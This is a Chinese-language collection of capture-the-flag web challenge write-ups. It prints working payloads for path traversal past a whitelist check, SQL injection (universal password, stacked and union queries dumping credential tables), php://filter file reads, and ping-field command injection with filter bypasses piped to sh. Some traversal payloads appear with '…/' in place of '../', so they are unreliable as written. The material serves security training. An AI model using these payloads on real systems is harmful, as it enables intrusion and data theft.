[HCTF 2018]WarmUp
打开网址是一张滑稽,没什么用,看一下源码,发现有注释。
访问source.php,直接给了源码,进行代码审计。
分两块,第一块是emmm::checkFile,里面做了一些判断。
第二块是一个include,文件包含,我们要绕过验证,也就是上面的checkFile方法。
测试hint.php
include触发的三个判断条件全为真时,include才执行。
checkFile为真
第一个if,page需要设置并且为字符串
第二个if,page需要在白名单中
_page是page从开始到?的位置截取的一段子串
第三个if,_page需要在白名单中
_page进行url解码
_page再进行相同截取
第四个if,_page需要在白名单中
现在假设payload为:?file=source.php?/…/ffffllllaaaagggg,经过mb_strpos为source.php?/…/ffffllllaaaagggg?,mb_strpos这个函数只返回首次出现的位置,所以会返回第一个?的位置,而mb_substr截取函数,从0开始截取一直到第一个?的位置,截取内容为source.php,恰好能与白名单中的进行匹配,可以return true;,所以通过第一次截取进行绕过
r执行payload:/?file=source.php?/…/ffffllllaaaagggg,发现没有显示flag,应该是不在这个目录,然后就不断加…/最后得到flag,payload为:/?file=source.php?/…/…/…/…/ffffllllaaaagggg
[极客大挑战 2019]EasySQL
有闭合错误,所以尝试一下注入,万能密码输入’or 1
[极客大挑战 2019]Havefun
查看源码发现
然后在输入框中添加/?cat
[SUCTF 2019]EasySQL
随便试了一下,没闭合注入,我们使用堆叠注入吧
1;show databases;
再尝试输入1;show tables;
再尝试输入1;show columns;
发现不行;
百度到两种payload:1;set sql_mode=PIPES_AS_CONCAT;select 1 和*,1 (这个是没有过滤*)
原理是:select $_GET[‘query’] || flag from flag
[ACTF2020 新生赛]Include
使用 “php://filter"伪协议” 来进行包含,然后构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
这里需要注意的是使用php
[极客大挑战 2019]Secret File
查看源码 点击Archive_room.php
有一个action.php,然后点击就到end.php
什么也没有 只好抓包了
访问secr3t.php
看了一下代码这个需要用文件包含,同上一道题使用伪协议
payload为:secr3t.php?file
[极客大挑战 2019]LoveSQL
用万能密码登录进去
进入,这个感觉像是一个编码,但是不是,后来发现是考察SQL注入
查询字段数:%23是#
/check.php?username=admin' order by 3%23&password=1
当字段数为3时,页面回显正常,使用union查询回显点位:
?username=1' union select 1,2,3%23&password=1
爆数据库
?username=1' union select 1,database(),3%23&password=1
爆表名
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆字段
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=1
[GXYCTF2019]Ping Ping Ping
首先ping本地(127.0.0.1)
用管道符或者分号
我们首先来尝试管道符
?ip=127.0.0.1||ls
可以看到回显有两个文件,flag.php和index.php,显然我们是需要查看flag.php里面的内容,用linux里面的命令cat
?ip=127.0.0.1||cat flag.php
提示说空格问题,那么我们先绕过空格,方法是替换为其他可以代表空格的字符,例如 ${IFS}
?ip=127.0.0.1||cat${
IFS}flag.php
1fxck你的符号!
提示说{}问题,那换一个
?ip=127.0.0.1||cat$IFS$1flag.php
flag被过滤了,我们尝试去看index.php
?ip=127.0.0.1|cat$IFS$1index.php
法一:拼接绕过
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
法二:可以利用base64绕过
将cat flag.php base64编码Y2F0IGZsYWcucGhw
?ip=127.0.0.1||`echo$IFS$1Y2F0IGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d`
法三:在bash被过滤的情况下可以尝试sh
?ip=127.0.0.1|echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
[ACTF2020 新生赛]Exec
还是先和上面一样,稍有不同是这道题目使用了POST传参
ping一下127.0.0.1,可以然后执行127.0.0.1;cat /flag;
[极客大挑战 2019]Knife
在根目录找到flag